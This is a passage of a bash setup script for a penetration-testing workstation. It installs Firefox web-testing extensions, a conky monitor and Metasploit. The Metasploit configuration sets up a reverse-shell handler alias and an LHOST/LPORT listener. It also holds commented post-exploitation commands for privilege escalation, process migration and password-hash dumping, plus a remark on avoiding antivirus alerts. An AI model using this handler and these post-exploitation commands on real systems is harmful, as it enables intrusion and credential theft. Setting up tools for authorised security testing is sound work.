  1395. # || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'plug-n-hack' 1>&2
  1396. #--- HttpFox
  1397. #curl --progress -k -L -f "https://addons.mozilla.org/en-GB/firefox/addon/httpfox/??????????????" \
  1398. # || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HttpFox' 1>&2
  1399. #--- SQLite Manager
  1400. echo -n '[1/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/5817/addon-5817-latest.xpi?src=dp-btn-primary" \
  1401. -o "${ffpath}/SQLiteManager@mrinalkant.blogspot.com.xpi" \
  1402. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'SQLite Manager'" 1>&2
  1403. #--- Cookies Manager+
  1404. echo -n '[2/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/92079/addon-92079-latest.xpi?src=dp-btn-primary" \
  1405. -o "${ffpath}/{bb6bc1bb-f824-4702-90cd-35e2fb24f25d}.xpi" \
  1406. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Cookies Manager+'" 1>&2
  1407. #--- Firebug
  1408. echo -n '[3/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/1843/addon-1843-latest.xpi?src=dp-btn-primary" \
  1409. -o "${ffpath}/firebug@software.joehewitt.com.xpi" \
  1410. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Firebug'" 1>&2
  1411. #--- FoxyProxy Basic
  1412. echo -n '[4/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/15023/addon-15023-latest.xpi?src=dp-btn-primary" \
  1413. -o "${ffpath}/foxyproxy-basic@eric.h.jung.xpi" \
  1414. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'FoxyProxy Basic'" 1>&2
  1415. #--- User Agent Overrider
  1416. echo -n '[5/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/429678/addon-429678-latest.xpi?src=dp-btn-primary" \
  1417. -o "${ffpath}/useragentoverrider@qixinglu.com.xpi" \
  1418. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'User Agent Overrider'" 1>&2
  1419. #--- HTTPS Everywhere
  1420. echo -n '[6/11]'; timeout 300 curl --progress -k -L -f "https://www.eff.org/files/https-everywhere-latest.xpi" \
  1421. -o "${ffpath}/https-everywhere@eff.org.xpi" \
  1422. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HTTPS Everywhere'" 1>&2
  1423. #--- Live HTTP Headers
  1424. echo -n '[7/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/3829/addon-3829-latest.xpi?src=dp-btn-primary" \
  1425. -o "${ffpath}/{8f8fe09b-0bd3-4470-bc1b-8cad42b8203a}.xpi" \
  1426. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Live HTTP Headers'" 1>&2
  1427. #---Tamper Data
  1428. echo -n '[8/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/966/addon-966-latest.xpi?src=dp-btn-primary" \
  1429. -o "${ffpath}/{9c51bd27-6ed8-4000-a2bf-36cb95c0c947}.xpi" \
  1430. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Tamper Data'" 1>&2
  1431. #--- Disable Add-on Compatibility Checks
  1432. echo -n '[9/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/300254/addon-300254-latest.xpi?src=dp-btn-primary" \
  1433. -o "${ffpath}/check-compatibility@dactyl.googlecode.com.xpi" \
  1434. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Disable Add-on Compatibility Checks'" 1>&2
  1435. #--- Disable HackBar
  1436. echo -n '[10/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/3899/addon-3899-latest.xpi?src=dp-btn-primary" \
  1437. -o "${ffpath}/{F5DDF39C-9293-4d5e-9AA8-E04E6DD5E9B4}.xpi" \
  1438. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HackBar'" 1>&2
  1439. #--- uBlock
  1440. echo -n '[11/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/607454/addon-607454-latest.xpi?src=dp-btn-primary" \
  1441. -o "${ffpath}/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}.xpi" \
  1442. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'uBlock'" 1>&2
  1443. #--- Installing extensions
  1444. for FILE in $(find "${ffpath}" -maxdepth 1 -type f -name '*.xpi'); do
  1445. d="$(basename "${FILE}" .xpi)"
  1446. mkdir -p "${ffpath}/${d}/"
  1447. unzip -q -o -d "${ffpath}/${d}/" "${FILE}"
  1448. rm -f "${FILE}"
  1449. done
  1450. #--- Enable Firefox's addons/plugins/extensions
  1451. timeout 15 firefox >/dev/null 2>&1
  1452. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1453. sleep 3s
  1454. #--- Method #1 (Works on older versions)
  1455. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'extensions.sqlite' -print -quit) #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1456. if [[ -e "${file}" ]] || [[ -n "${file}" ]]; then
  1457. echo -e " ${YELLOW}[i]${RESET} Enabled ${YELLOW}Firefox's extensions${RESET} (via method #1 - extensions.sqlite)"
  1458. apt -y -qq install sqlite3 \
  1459. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1460. rm -f /tmp/firefox.sql
  1461. touch /tmp/firefox.sql
  1462. echo "UPDATE 'main'.'addon' SET 'active' = 1, 'userDisabled' = 0;" > /tmp/firefox.sql # Force them all!
  1463. sqlite3 "${file}" < /tmp/firefox.sql #fuser extensions.sqlite
  1464. fi
  1465. #--- Method #2 (Newer versions)
  1466. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'extensions.json' -print -quit) #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1467. if [[ -e "${file}" ]] || [[ -n "${file}" ]]; then
  1468. echo -e " ${YELLOW}[i]${RESET} Enabled ${YELLOW}Firefox's extensions${RESET} (via method #2 - extensions.json)"
  1469. sed -i 's/"active":false,/"active":true,/g' "${file}" # Force them all!
  1470. sed -i 's/"userDisabled":true,/"userDisabled":false,/g' "${file}" # Force them all!
  1471. fi
  1472. #--- Remove cache
  1473. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'prefs.js' -print -quit) #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1474. [ -n "${file}" ] \
  1475. && sed -i '/extensions.installCache/d' "${file}"
  1476. #--- For extensions that just work without restarting
  1477. timeout 15 firefox >/dev/null 2>&1
  1478. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1479. sleep 3s
  1480. #--- For (most) extensions, as they need firefox to restart
  1481. timeout 15 firefox >/dev/null 2>&1
  1482. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1483. sleep 5s
  1484. #--- Wipe session (due to force close)
  1485. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'sessionstore.*' -delete
  1486. #--- Configure foxyproxy
  1487. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'foxyproxy.xml' -print -quit) #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1488. if [[ -z "${file}" ]]; then
  1489. echo -e ' '${RED}'[!]'${RESET}' Something went wrong with the FoxyProxy firefox extension (did any extensions install?). Skipping...' 1>&2
  1490. else # Create new
  1491. echo -ne '<?xml version="1.0" encoding="UTF-8"?>\n<foxyproxy mode="disabled" selectedTabIndex="0" toolbaricon="true" toolsMenu="true" contextMenu="false" advancedMenus="false" previousMode="disabled" resetIconColors="true" useStatusBarPrefix="true" excludePatternsFromCycling="false" excludeDisabledFromCycling="false" ignoreProxyScheme="false" apiDisabled="false" proxyForVersionCheck=""><random includeDirect="false" includeDisabled="false"/><statusbar icon="true" text="false" left="options" middle="cycle" right="contextmenu" width="0"/><toolbar left="options" middle="cycle" right="contextmenu"/><logg enabled="false" maxSize="500" noURLs="false" header="&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;\n&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head&gt;&lt;title&gt;&lt;/title&gt;&lt;link rel=&quot;icon&quot; href=&quot;http://getfoxyproxy.org/favicon.ico&quot;/&gt;&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://getfoxyproxy.org/favicon.ico&quot;/&gt;&lt;link rel=&quot;stylesheet&quot; href=&quot;http://getfoxyproxy.org/styles/log.css&quot; type=&quot;text/css&quot;/&gt;&lt;/head&gt;&lt;body&gt;&lt;table class=&quot;log-table&quot;&gt;&lt;thead&gt;&lt;tr&gt;&lt;td class=&quot;heading&quot;&gt;${timestamp-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${url-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${proxy-name-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${proxy-notes-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-name-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-case-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-type-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-color-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pac-result-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${error-msg-heading}&lt;/td&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tfoot&gt;&lt;tr&gt;&lt;td/&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;tbody&gt;" row="&lt;tr&gt;&lt;td class=&quot;timestamp&quot;&gt;${timestamp}&lt;/td&gt;&lt;td class=&quot;url&quot;&gt;&lt;a href=&quot;${url}&quot;&gt;${url}&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;proxy-name&quot;&gt;${proxy-name}&lt;/td&gt;&lt;td class=&quot;proxy-notes&quot;&gt;${proxy-notes}&lt;/td&gt;&lt;td class=&quot;pattern-name&quot;&gt;${pattern-name}&lt;/td&gt;&lt;td class=&quot;pattern&quot;&gt;${pattern}&lt;/td&gt;&lt;td class=&quot;pattern-case&quot;&gt;${pattern-case}&lt;/td&gt;&lt;td class=&quot;pattern-type&quot;&gt;${pattern-type}&lt;/td&gt;&lt;td class=&quot;pattern-color&quot;&gt;${pattern-color}&lt;/td&gt;&lt;td class=&quot;pac-result&quot;&gt;${pac-result}&lt;/td&gt;&lt;td class=&quot;error-msg&quot;&gt;${error-msg}&lt;/td&gt;&lt;/tr&gt;" footer="&lt;/tbody&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;"/><warnings/><autoadd enabled="false" temp="false" reload="true" notify="true" notifyWhenCanceled="true" prompt="true"><match enabled="true" name="Dynamic AutoAdd Pattern" pattern="*://${3}${6}/*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/><match enabled="true" name="" pattern="*You are not authorized to view this page*" isRegEx="false" isBlackList="false" isMultiLine="true" caseSensitive="false" fromSubscription="false"/></autoadd><quickadd enabled="false" temp="false" reload="true" notify="true" notifyWhenCanceled="true" prompt="true"><match enabled="true" name="Dynamic QuickAdd Pattern" pattern="*://${3}${6}/*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/></quickadd><defaultPrefs origPrefetch="null"/><proxies>' > "${file}"
  1492. echo -ne '<proxy name="localhost:8080" id="1145138293" notes="e.g. Burp, w3af" fromSubscription="false" enabled="true" mode="manual" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#07753E" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="127.0.0.1" port="8080" socksversion="5" isSocks="false" username="" password="" domain=""/></proxy>' >> "${file}"
  1493. echo -ne '<proxy name="localhost:8081 (socket5)" id="212586674" notes="e.g. SSH" fromSubscription="false" enabled="true" mode="manual" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#917504" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="127.0.0.1" port="8081" socksversion="5" isSocks="true" username="" password="" domain=""/></proxy>' >> "${file}"
  1494. echo -ne '<proxy name="No Caching" id="3884644610" notes="" fromSubscription="false" enabled="true" mode="system" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#990DA6" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="" port="" socksversion="5" isSocks="false" username="" password="" domain=""/></proxy>' >> "${file}"
  1495. echo -ne '<proxy name="Default" id="3377581719" notes="" fromSubscription="false" enabled="true" mode="direct" selectedTabIndex="0" lastresort="true" animatedIcons="false" includeInCycle="true" color="#0055E5" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="false" disableCache="false" clearCookiesBeforeUse="false" rejectCookies="false"><matches><match enabled="true" name="All" pattern="*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/></matches><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="" port="" socksversion="5" isSocks="false" username="" password=""/></proxy>' >> "${file}"
  1496. echo -e '</proxies></foxyproxy>' >> "${file}"
  1497. fi
  1498.  
  1499.  
  1500. ##### Install conky
  1501. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}conky${RESET} ~ GUI desktop monitor"
  1502. export DISPLAY=:0.0
  1503. apt -y -qq install conky \
  1504. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1505. #--- Configure conky
  1506. file=~/.conkyrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1507. if [[ -f "${file}" ]]; then
  1508. echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1509. else
  1510. cat <<EOF > "${file}"
  1511. --# Useful: http://forums.opensuse.org/english/get-technical-help-here/how-faq-forums/unreviewed-how-faq/464737-easy-configuring-conky-conkyconf.html
  1512. conky.config = {
  1513. background = false,
  1514.  
  1515. font = 'monospace:size=8:weight=bold',
  1516. use_xft = true,
  1517.  
  1518. update_interval = 2.0,
  1519.  
  1520. own_window = true,
  1521. own_window_type = 'normal',
  1522. own_window_transparent = true,
  1523. own_window_class = 'conky-semi',
  1524. own_window_argb_visual = false,
  1525. own_window_colour = 'brown',
  1526. own_window_hints = 'undecorated,below,sticky,skip_taskbar,skip_pager',
  1527.  
  1528. double_buffer = true,
  1529. maximum_width = 260,
  1530.  
  1531. draw_shades = true,
  1532. draw_outline = false,
  1533. draw_borders = false,
  1534.  
  1535. stippled_borders = 3,
  1536. border_inner_margin = 9,
  1537. border_width = 10,
  1538.  
  1539. default_color = 'grey',
  1540.  
  1541. alignment = 'bottom_right',
  1542. gap_x = 5,
  1543. gap_y = 0,
  1544.  
  1545. uppercase = false,
  1546. use_spacer = 'right',
  1547. };
  1548.  
  1549. conky.text = [[
  1550. \${color dodgerblue3}SYSTEM \${hr 2}\$color
  1551. #\${color white}\${time %A},\${time %e} \${time %B} \${time %G}\${alignr}\${time %H:%M:%S}
  1552. \${color white}Host\$color: \$nodename \${alignr}\${color white}Uptime\$color: \$uptime
  1553.  
  1554. \${color dodgerblue3}CPU \${hr 2}\$color
  1555. #\${font Arial:bold:size=8}\${execi 99999 grep "model name" -m1 /proc/cpuinfo | cut -d":" -f2 | cut -d" " -f2- | sed "s#Processor ##"}\$font\$color
  1556. \${color white}MHz\$color: \${freq} \${alignr}\${color white}Load\$color: \${exec uptime | awk -F "load average: " '{print \$2}'}
  1557. \${color white}Tasks\$color: \$running_processes/\$processes \${alignr}\${color white}CPU0\$color: \${cpu cpu0}% \${color white}CPU1\$color: \${cpu cpu1}%
  1558. #\${color #c0ff3e}\${acpitemp}C
  1559. #\${execi 20 sensors |grep "Core0 Temp" | cut -d" " -f4}\$font\$color\${alignr}\${freq_g 2} \${execi 20 sensors |grep "Core1 Temp" | cut -d" " -f4}
  1560. \${cpugraph cpu0 25,120 000000 white} \${alignr}\${cpugraph cpu1 25,120 000000 white}
  1561. \${color white}\${cpubar cpu1 3,120} \${alignr}\${color white}\${cpubar cpu2 3,120}\$color
  1562.  
  1563. \${color dodgerblue3}PROCESSES \${hr 2}\$color
  1564. \${color white}NAME PID CPU MEM
  1565. \${color white}\${top name 1}\${top pid 1} \${top cpu 1} \${top mem 1}\$color
  1566. \${top name 2}\${top pid 2} \${top cpu 2} \${top mem 2}
  1567. \${top name 3}\${top pid 3} \${top cpu 3} \${top mem 3}
  1568. \${top name 4}\${top pid 4} \${top cpu 4} \${top mem 4}
  1569. \${top name 5}\${top pid 5} \${top cpu 5} \${top mem 5}
  1570.  
  1571. \${color dodgerblue3}MEMORY & SWAP \${hr 2}\$color
  1572. \${color white}RAM\$color \$alignr\$memperc% \${membar 6,170}\$color
  1573. \${color white}Swap\$color \$alignr\$swapperc% \${swapbar 6,170}\$color
  1574.  
  1575. \${color dodgerblue3}FILESYSTEM \${hr 2}\$color
  1576. \${color white}root\$color \${fs_free_perc /}% free\${alignr}\${fs_free /}/ \${fs_size /}
  1577. \${fs_bar 3 /}\$color
  1578. #\${color white}home\$color \${fs_free_perc /home}% free\${alignr}\${fs_free /home}/ \${fs_size /home}
  1579. #\${fs_bar 3 /home}\$color
  1580.  
  1581. \${color dodgerblue3}LAN eth0 (\${addr eth0}) \${hr 2}\$color
  1582. \${color white}Down\$color: \${downspeed eth0} KB/s\${alignr}\${color white}Up\$color: \${upspeed eth0} KB/s
  1583. \${color white}Downloaded\$color: \${totaldown eth0} \${alignr}\${color white}Uploaded\$color: \${totalup eth0}
  1584. \${downspeedgraph eth0 25,120 000000 00ff00} \${alignr}\${upspeedgraph eth0 25,120 000000 ff0000}\$color
  1585.  
  1586. EOF
  1587. ip addr show eth1 &>/dev/null \
  1588. && cat <<EOF >> "${file}"
  1589. \${color dodgerblue3}LAN eth1 (\${addr eth1}) \${hr 2}\$color
  1590. \${color white}Down\$color: \${downspeed eth1} KB/s\${alignr}\${color white}Up\$color: \${upspeed eth1} KB/s
  1591. \${color white}Downloaded\$color: \${totaldown eth1} \${alignr}\${color white}Uploaded\$color: \${totalup eth1}
  1592. \${downspeedgraph eth1 25,120 000000 00ff00} \${alignr}\${upspeedgraph eth1 25,120 000000 ff0000}\$color
  1593.  
  1594. EOF
  1595. cat <<EOF >> "${file}"
  1596. \${color dodgerblue3}Wi-Fi (\${addr wlan0}) \${hr 2}\$color
  1597. \${color white}Down\$color: \${downspeed wlan0} KB/s\${alignr}\${color white}Up\$color: \${upspeed wlan0} KB/s
  1598. \${color white}Downloaded\$color: \${totaldown wlan0} \${alignr}\${color white}Uploaded\$color: \${totalup wlan0}
  1599. \${downspeedgraph wlan0 25,120 000000 00ff00} \${alignr}\${upspeedgraph wlan0 25,120 000000 ff0000}\$color
  1600.  
  1601. \${color dodgerblue3}CONNECTIONS \${hr 2}\$color
  1602. \${color white}Inbound: \$color\${tcp_portmon 1 32767 count} \${alignc}\${color white}Outbound: \$color\${tcp_portmon 32768 61000 count}\${alignr}\${color white}Total: \$color\${tcp_portmon 1 65535 count}
  1603. \${color white}Inbound \${alignr}Local Service/Port\$color
  1604. \$color \${tcp_portmon 1 32767 rhost 0} \${alignr}\${tcp_portmon 1 32767 lservice 0}
  1605. \$color \${tcp_portmon 1 32767 rhost 1} \${alignr}\${tcp_portmon 1 32767 lservice 1}
  1606. \$color \${tcp_portmon 1 32767 rhost 2} \${alignr}\${tcp_portmon 1 32767 lservice 2}
  1607. \${color white}Outbound \${alignr}Remote Service/Port\$color
  1608. \$color \${tcp_portmon 32768 61000 rhost 0} \${alignr}\${tcp_portmon 32768 61000 rservice 0}
  1609. \$color \${tcp_portmon 32768 61000 rhost 1} \${alignr}\${tcp_portmon 32768 61000 rservice 1}
  1610. \$color \${tcp_portmon 32768 61000 rhost 2} \${alignr}\${tcp_portmon 32768 61000 rservice 2}
  1611. ]]
  1612. EOF
  1613. fi
  1614. #--- Create start script
  1615. file=/usr/local/bin/start-conky; [ -e "${file}" ] && cp -n $file{,.bkup}
  1616. cat <<EOF > "${file}" \
  1617. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1618. #!/bin/bash
  1619.  
  1620. [[ -z \${DISPLAY} ]] && export DISPLAY=:0.0
  1621.  
  1622. $(which timeout) 10 $(which killall) -9 -q -w conky
  1623. $(which sleep) 20s
  1624. $(which conky) &
  1625. EOF
  1626. chmod -f 0500 "${file}"
  1627. #--- Run now
  1628. bash /usr/local/bin/start-conky >/dev/null 2>&1 &
  1629. #--- Add to startup (each login)
  1630. mkdir -p ~/.config/autostart/
  1631. file=~/.config/autostart/conkyscript.desktop; [ -e "${file}" ] && cp -n $file{,.bkup}
  1632. cat <<EOF > "${file}" \
  1633. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1634. [Desktop Entry]
  1635. Name=conky
  1636. Exec=/usr/local/bin/start-conky
  1637. Hidden=false
  1638. NoDisplay=false
  1639. X-GNOME-Autostart-enabled=true
  1640. Type=Application
  1641. Comment=
  1642. EOF
  1643. #--- Add keyboard shortcut (CTRL+r) to run the conky refresh script
  1644. file=~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml #; [ -e "${file}" ] && cp -n $file{,.bkup}
  1645. if [ -e "${file}" ]; then
  1646. grep -q '<property name="&lt;Primary&gt;r" type="string" value="/usr/local/bin/start-conky"/>' "${file}" \
  1647. || sed -i 's#<property name="\&lt;Alt\&gt;F2" type="string" value="xfrun4"/>#<property name="\&lt;Alt\&gt;F2" type="string" value="xfrun4"/>\n <property name="\&lt;Primary\&gt;r" type="string" value="/usr/local/bin/start-conky"/>#' "${file}"
  1648. fi
  1649.  
  1650.  
  1651. ##### Install metasploit ~ http://docs.kali.org/general-use/starting-metasploit-framework-in-kali
  1652. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}metasploit${RESET} ~ exploit framework"
  1653. apt -y -qq install metasploit-framework \
  1654. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1655. mkdir -p ~/.msf4/modules/{auxiliary,exploits,payloads,post}/
  1656. #--- ASCII art
  1657. #export GOCOW=1 # Always a cow logo ;) Others: THISISHALLOWEEN (Halloween), APRILFOOLSPONIES (My Little Pony)
  1658. #file=~/.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1659. #([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1660. #grep -q '^GOCOW' "${file}" 2>/dev/null || echo 'GOCOW=1' >> "${file}"
  1661. #--- Fix any port issues
  1662. file=$(find /etc/postgresql/*/main/ -maxdepth 1 -type f -name postgresql.conf -print -quit);
  1663. [ -e "${file}" ] && cp -n $file{,.bkup}
  1664. sed -i 's/port = .* #/port = 5432 /' "${file}"
  1665. #--- Fix permissions - 'could not translate host name "localhost", service "5432" to address: Name or service not known'
  1666. chmod 0644 /etc/hosts
  1667. #--- Start services
  1668. systemctl stop postgresql
  1669. systemctl start postgresql
  1670. msfdb reinit
  1671. sleep 5s
  1672. #--- Autorun Metasploit commands each startup
  1673. file=~/.msf4/msf_autorunscript.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1674. if [[ -f "${file}" ]]; then
  1675. echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1676. else
  1677. cat <<EOF > "${file}"
  1678. #run post/windows/escalate/getsystem
  1679.  
  1680. #run migrate -f -k
  1681. #run migrate -n "explorer.exe" -k # Can trigger AV alerts by touching explorer.exe...
  1682.  
  1683. #run post/windows/manage/smart_migrate
  1684. #run post/windows/gather/smart_hashdump
  1685. EOF
  1686. fi
  1687. file=~/.msf4/msfconsole.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1688. if [[ -f "${file}" ]]; then
  1689. echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1690. else
  1691. cat <<EOF > "${file}"
  1692. load auto_add_route
  1693.  
  1694. load alias
  1695. alias del rm
  1696. alias handler use exploit/multi/handler
  1697.  
  1698. load sounds
  1699.  
  1700. setg TimestampOutput true
  1701. setg VERBOSE true
  1702.  
  1703. setg ExitOnSession false
  1704. setg EnableStageEncoding true
  1705. setg LHOST 0.0.0.0
  1706. setg LPORT 443
  1707. EOF
  1708. #use exploit/multi/handler
  1709. #setg AutoRunScript 'multi_console_command -rc "~/.msf4/msf_autorunscript.rc"'
  1710. #set PAYLOAD windows/meterpreter/reverse_https
  1711. fi
  1712. #--- Aliases time
  1713. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  1714. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1715. #--- Aliases for console
  1716. grep -q '^alias msfc=' "${file}" 2>/dev/null \
  1717. || echo -e 'alias msfc="systemctl start postgresql; msfdb start; msfconsole -q \"\$@\""' >> "${file}"
  1718. grep -q '^alias msfconsole=' "${file}" 2>/dev/null \
  1719. || echo -e 'alias msfconsole="systemctl start postgresql; msfdb start; msfconsole \"\$@\""\n' >> "${file}"
  1720. #--- Aliases to speed up msfvenom (create static output)
  1721. grep -q "^alias msfvenom-list-all" "${file}" 2>/dev/null \
  1722. || echo "alias msfvenom-list-all='cat ~/.msf4/msfvenom/all'" >> "${file}"
  1723. grep -q "^alias msfvenom-list-nops" "${file}" 2>/dev/null \
  1724. || echo "alias msfvenom-list-nops='cat ~/.msf4/msfvenom/nops'" >> "${file}"
  1725. grep -q "^alias msfvenom-list-payloads" "${file}" 2>/dev/null \
  1726. || echo "alias msfvenom-list-payloads='cat ~/.msf4/msfvenom/payloads'" >> "${file}"
  1727. grep -q "^alias msfvenom-list-encoders" "${file}" 2>/dev/null \
  1728. || echo "alias msfvenom-list-encoders='cat ~/.msf4/msfvenom/encoders'" >> "${file}"
  1729. grep -q "^alias msfvenom-list-formats" "${file}" 2>/dev/null \
  1730. || echo "alias msfvenom-list-formats='cat ~/.msf4/msfvenom/formats'" >> "${file}"
  1731. grep -q "^alias msfvenom-list-generate" "${file}" 2>/dev/null \
  1732. || echo "alias msfvenom-list-generate='_msfvenom-list-generate'" >> "${file}"
  1733. grep -q "^function _msfvenom-list-generate" "${file}" 2>/dev/null \
  1734. || cat <<EOF >> "${file}" \
  1735. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1736. function _msfvenom-list-generate {
  1737. mkdir -p ~/.msf4/msfvenom/
  1738. msfvenom --list > ~/.msf4/msfvenom/all
  1739. msfvenom --list nops > ~/.msf4/msfvenom/nops
  1740. msfvenom --list payloads > ~/.msf4/msfvenom/payloads
  1741. msfvenom --list encoders > ~/.msf4/msfvenom/encoders
  1742. msfvenom --help-formats 2> ~/.msf4/msfvenom/formats
  1743. }
  1744. EOF
  1745. #--- Apply new aliases
  1746. source "${file}" || source ~/.zshrc
  1747. #--- Generate (Can't call alias)
  1748. mkdir -p ~/.msf4/msfvenom/
  1749. msfvenom --list > ~/.msf4/msfvenom/all
  1750. msfvenom --list nops > ~/.msf4/msfvenom/nops
  1751. msfvenom --list payloads > ~/.msf4/msfvenom/payloads
  1752. msfvenom --list encoders > ~/.msf4/msfvenom/encoders
  1753. msfvenom --help-formats 2> ~/.msf4/msfvenom/formats
  1754. #--- First time run with Metasploit
  1755. (( STAGE++ )); echo -e " ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Starting Metasploit for the first time${RESET} ~ this ${BOLD}will take a ~350 seconds${RESET} (~6 mintues)"
  1756. echo "Started at: $(date)"
  1757. systemctl start postgresql
  1758. msfdb start
  1759. msfconsole -q -x 'version;db_status;sleep 310;exit'
  1760.  
  1761.  
  1762. ##### Configuring armitage
